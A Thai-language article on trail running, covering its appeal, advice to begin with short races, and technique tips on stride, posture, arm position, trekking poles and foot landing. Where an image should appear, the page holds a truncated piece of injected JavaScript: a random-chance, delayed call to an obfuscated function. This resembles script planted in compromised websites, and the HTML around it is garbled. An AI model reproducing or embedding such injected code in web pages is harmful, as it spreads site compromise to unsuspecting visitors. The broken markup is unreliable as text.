สนามวิ่งTrailมีความท้าทายมากกว่าการวิ่ง Road Running ธรรมดา มีความชัน เส้นทางขรุขระ มีการไต่และวิ่งลงเขา เข้ามาผสมถ้านักวิ่งคนไหนชอบบรรยากาศเงียบสงบในขณะวิ่ง การวิ่งเทรลอาจจะเป็นจุดหมายต่อไปของการวิ่งของคุณแน่นอน การวิ่งเทรลมีจุดเด่นที่ไม่เหมือนใคร นั้นคือ ภาพวิวบรรยาการจะเปลี่ยนแปลงไปเรื่อยๆ ไม่มีควันรถยนต์มากวนใจ สูดออกซิเจนบริสุทธิ์ได้อย่างเต็มปอด
Trail Running
andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andro-stark-92881.jpg” alt=”Trail” width=”798″ height=”406″ />
ทำไมต้องวิ่งเทรล ?
1. ฝึกกล้ามเนื้อหรือ Resistance training อย่างเช่น การวิดพื้น สควอชและแพลงกิ้ง เสริมสร้างความแข็งแรงทนทานให้กล้ามเนื้อ Core และ Lower จะช่วยลดอาการบาดเจ็บ และพร้อมรับ Workload หนักๆ ได้
การลงแข่งเทรลครั้งแรกสำหรับใครหลายๆ คน ก็อยากให้เริ่มจากระยะสั้นๆ ซะก่อน 10-20 กิโลเมตรก็พอ เพราะเราจะได้ค้นพบว่ากล้ามเนื้อชุดไหน บริเวณไหนยังอ่อน จะได้กลับไปซ้อม ไม่ใช่จบแต่เจ็บ สำหรับผู้เขียนเองตอนลงเทรลครั้งแรก จัดไป 25 กิโลเมตรที่ตะนาวศรีเทรล 2015 ปรากฏว่าปวดกล้ามเนื้อ Quad มากเวลาวิ่งลงเขา (ซ้อมมาน้อย)
2. Short stride การซอยเท้าให้ถี่และสั้นลง จะช่วยเพิ่มความคล่องตัวในการเคลื่อนไหวมากขึ้น และมีสามารถเซฟแรงได้มากเวลาวิ่งขึ้นเขา
3. มองไปพื้นที่ข้างหน้าสแกนเส้นทางวิ่ง ห่างจากตัวประมาณ 3-5 เมตร อย่ามัวแต่มองวิวจนลืมดูเส้นทางวิ่ง เพราะเส้นทางเทรลมีพื้นขรุขระ ไม่เรียบเหมือนทางลาดยาง ผุ้วิ่งต้องมองไปข้างหน้า สแกนเส้นทาง จินตนาการเส้นทางการเคลื่อนไหวล่วงหน้าไปด้วย
4. วิ่งอกผายไหล่ผึ่ง จะช่วยให้ปอดมีพื้นที่ในการฟองตัวเต็มที่ แถมช่วยคลายแรงกดบนกล้ามเนื้อหลังและคอได้ด้วย
5. กางศอกออกและปล่อยแขนตามสบายเวลาวิ่งลงเขา จะช่วยสร้างสมดุลเวลาวิ่งบนทางขรุขระได้มากขึ้น และถ้าใครมีไม้เท้าหรือ Trekking pole จะช่วยสร้างจุดสัมผผัส เพิ่มบาลานซ์และการผ่อนแรงได้มากขึ้นด้วย ระยะทางวิ่ง 20 กิโลเมตรขึ้นไป แนะนำว่าให้พกพาไปด้วยนะ เ(อาไปเป็นคู่ละ อย่างเอาไปอันเดียว)
6. ลงเต็มเท้าหรือบริเวณ Midfoot จะช่วยเพิ่มพื้นที่ผิวสัมผัสได้มากขึ้น สร้างความมั่นคง บาลานซ์และแรงยึดเกาะได้ดีมากกว่าการลง Forefoot แต่ถ้ามือโปรแล้วจะเร่งความเร็วลง Forefoot ก็ได้ไม่ว่ากัน